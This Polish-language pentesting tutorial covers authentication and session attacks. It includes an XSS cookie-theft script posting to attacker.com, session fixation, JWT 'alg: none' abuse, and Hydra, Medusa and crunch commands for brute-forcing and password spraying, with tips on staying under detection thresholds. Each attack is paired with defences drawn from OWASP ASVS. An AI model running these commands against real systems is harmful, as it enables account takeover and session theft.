Przejdź do głównej zawartości

Broken Authentication & Session Management

Luki w uwierzytelnianiu i zarządzaniu sesjami umożliwiają atakującym przejęcie kont użytkowników, odczytanie sesji, a nawet eskalację uprawnień. W tej sekcji omówimy najczęstsze ataki oraz sposoby ich przeprowadzania.

Ataki na sesje użytkowników (JWT, Cookies)​

1️⃣ Ataki na Cookies​

Pliki cookie zawierają dane sesyjne użytkownika i mogą być celem ataku.

Odczytanie cookies w przeglądarce​

W konsoli przeglądarki (F12 → Console):

document.cookie

Kradzież sesji przez XSS​

Jeśli aplikacja jest podatna na XSS, można wykraść sesję użytkownika:

<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Modyfikacja sesji (Session Fixation)​

Jeśli aplikacja nie zmienia ID sesji po zalogowaniu, atakujący może wymusić użycie konkretnej sesji:

Set-Cookie: PHPSESSID=attackerSession; path=/; HttpOnly

Zabezpieczenia:

  • Używanie HttpOnly i Secure cookies
  • Regeneracja ID sesji po zalogowaniu
  • Ustawienie polityki SameSite dla ochrony przed CSRF

2️⃣ Ataki na JWT (JSON Web Tokens)​

JWT są często używane do autoryzacji, ale mogą być podatne na ataki.

Brak podpisu JWT​

Jeśli aplikacja akceptuje niepodpisane JWT, można podmienić payload:

{
  "alg": "none",
  "typ": "JWT"
}

Przykładowe narzędzie do dekodowania JWT:

jwt_tool token_here -d

Podatność na atak Brute-force algorytmu HS256​

Jeśli klucz podpisujący JWT jest słaby, można go złamać:

jwtcrack mytoken.jwt

Zabezpieczenia:

  • Używanie silnego klucza podpisującego JWT
  • Ustawienie krótkiego czasu życia tokenów
  • Odrzucanie niepodpisanych JWT

🧭 Zasada: to jedna klasa błędu, nie trzy sztuczki. alg: none, podmiana RS256→HS256 (atakujący podpisuje token kluczem publicznym serwera jako sekretem HMAC) i słaby klucz HMAC to jeden i ten sam błąd — serwer akceptuje algorytm, którego akceptować nie musiał. Źródłem jest odwrócenie ról: token w nagłówku alg sam mówi, jak go zweryfikować, a serwer bierze to na wiarę. Obrona jest jedna i wąska: algorytm weryfikacji ustala serwer, nie token — jawna allow lista (algorithms: ['RS256']), nigdy wartość z nagłówka. Tak samo klucz — nagłówki jku/x5u/jwk wolno brać wyłącznie z allow listy zaufanych źródeł, bo token nie może wskazać klucza, którym ma zostać sprawdzony. ASVS 5.0 zapisuje to jako wymaganie L1 (9.1.2–9.1.3); w dodatku C RS256 (RSASSA-PKCS1-v1.5) ma status „Disallowed” — preferowane są PS256, ES256 i EdDSA (tak samo zawęża FAPI 2.0). — Ball, Hacking APIs; Haro Peralta, Secure APIs, s. 86, 169, 200, 205–206; OWASP ASVS 5.0, s. 60, 103, 113

🧭 Sekret HMAC to „golden ticket” twojej aplikacji. Przy HS256 ten sam klucz i wystawia, i weryfikuje tokeny — jego wyciek (z repo, env, logów, przejętego hosta) to nie „ktoś podrobił jeden token”, tylko „ktoś jest fabryką tożsamości” na dowolne sub. Dlatego sekret ma być długi, z CSPRNG, traktowany jak klucz koronny (podpis asymetryczny RS/ES/EdDSA zawęża wyciek do klucza prywatnego). Druga konsekwencja: token stateless jest nieodwoływalny — nie cofniesz go przed exp inaczej niż rotacją sekretu (co wylogowuje wszystkich). Stąd krótki exp + osobny, odwoływalny refresh token, a rotacja sekretu z oknem na stary i nowy klucz (kid). — Singh, The Ultimate Kali Linux Book, s. 553, 556 (analogia golden ticket Kerberos)

Bruteforce i ataki na hasła (Hydra, Burp Intruder)​

1️⃣ Atak bruteforce na logowanie (Hydra)​

Hydra umożliwia atakowanie formularzy logowania metodą siłową.

Bruteforce logowania HTTP POST​

hydra -l admin -P passwords.txt example.com http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"

Opcje:

  • -l admin – login użytkownika
  • -P passwords.txt – lista haseł
  • http-post-form – atak na formularz POST

Bruteforce na SSH​

hydra -l root -P passwords.txt ssh://192.168.1.10

Zabezpieczenia:

  • Ograniczenie liczby nieudanych prób logowania
  • Uwierzytelnianie wieloskładnikowe (MFA)
  • Blokowanie podejrzanych adresów IP

2️⃣ Atak brute-force przy użyciu Burp Intruder​

Burp Suite Intruder pozwala na ataki słownikowe na formularze logowania.

Konfiguracja ataku​

  1. Przechwyć żądanie logowania w Burp Suite.
  2. Przekieruj je do zakładki Intruder → Positions.
  3. Ustaw § wokół parametrów username i password.
  4. Wybierz Payloads → dodaj listę loginów i haseł.
  5. Uruchom atak i sprawdź, które odpowiedzi różnią się od pozostałych.

Zabezpieczenia:

  • Wprowadzenie CAPTCHA
  • Opóźnienia po nieudanych próbach logowania
  • Monitorowanie nietypowego ruchu logowania

Password Spraying​

Klasyczny brute-force (wiele haseł dla jednego konta) łatwo wykryć i zablokować account lockoutem. Password spraying odwraca logikę: jedno popularne hasło testowane przeciw wielu kontom — poniżej progu blokady per konto.

# Hydra – spray jednego hasła na listę loginów
hydra -L users.txt -p 'Winter2024!' example.com http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=incorrect" -t 1 -w 30

Flagi -t 1 -w 30 (1 wątek, 30 s przerwa) spowalniają ruch, żeby nie wyzwolić alertów. Dobre hasła do sprayingu: Season+rok, Firma123!, Welcome1.

🧭 Dlaczego spraying działa — i czego uczy obrońcę. Licznik per konto nie widzi sprayingu (po jednej nieudanej próbie na koncie) i dodatkowo sam jest podatnością: zasypanie cudzego loginu błędnymi hasłami blokuje konto właścicielowi (lockout jako DoS). Licznik per IP obchodzi botnet, a legalnych użytkowników za jednym VPN/NAT-em blokuje hurtem. Spraying łapie dopiero sygnał globalny — nietypowa liczba nieudanych logowań w całej aplikacji, niezależnie od kont. Stąd dwa wnioski przeciw intuicji, oba z ASVS 5.0: realną odpowiedzią na brute-force jest drugi składnik (MFA), a polityka haseł ma odrzucać hasła znane napastnikowi (lista popularnych i z wycieków), a nie wymuszać wielkich liter, znaków specjalnych i rotacji co 90 dni — to ostatnie jest w ASVS wprost zakazane (6.2.5, 6.2.10), bo Haslo123! spełnia każdą regułę i jest na każdej liście. — Mcdonald, Grokking Web Application Security; OWASP ASVS 5.0, s. 45–46

Medusa – brute-force z kontrolą hałasu​

Medusa to alternatywa dla Hydry z przydatnymi flagami do ograniczania hałasu:

# -e ns: testuj też puste hasło (n) i login=hasło (s)
# -F: zatrzymaj się po pierwszym trafieniu
medusa -h 192.168.1.10 -U users.txt -P passwords.txt -M http \
  -m DIR:/login -e ns -F

Parametry:

  • -e ns — dodatkowo sprawdza login bez hasła i login jako hasło
  • -F — stop po pierwszym sukcesie (cichy, szybki atak)
  • -M ssh / -M ftp — moduły dla innych protokołów

Generowanie słowników (crunch)​

Gdy znasz politykę haseł (długość, zestaw znaków), crunch generuje precyzyjny słownik zamiast pobierania generycznych list:

# hasła 8 znaków z liter i cyfr
crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o wordlist.txt

# wzorzec: wielka, 5 małych, 2 cyfry (np. Klient01)
crunch 8 8 -t @@@@@@@@ -p ABCDEFGHIJKLMNOPQRSTUVWXYZ \
  abcdefghijklmnopqrstuvwxyz 0123456789

Przydatne gdy cel ma niestandardową politykę — rockyou.txt będzie zbyt duże i zbyt przypadkowe.

Online vs offline — kiedy uważać​

AtakGdzieRyzyko detekcjiLimit szybkości
Brute-force HTTPsieć / aplikacjaWysoki — logi, WAF, lockoutrate limit, captcha
Password sprayingsieć / aplikacjaŚredni (wolny)lockout per konto
Hashcat/JohnlokalnieBrak — offlinetylko sprzęt

Zawsze ustal z klientem limit prób przed testem online — agresywny brute może zablokować konta produkcyjne. Po przekroczeniu progu lockoutu atak staje się incydentem DoS.

Podatności w uwierzytelnianiu są jednym z najpoważniejszych zagrożeń dla aplikacji webowych. Kolejnym krokiem będzie analiza podatności Cross-Site Scripting (XSS)!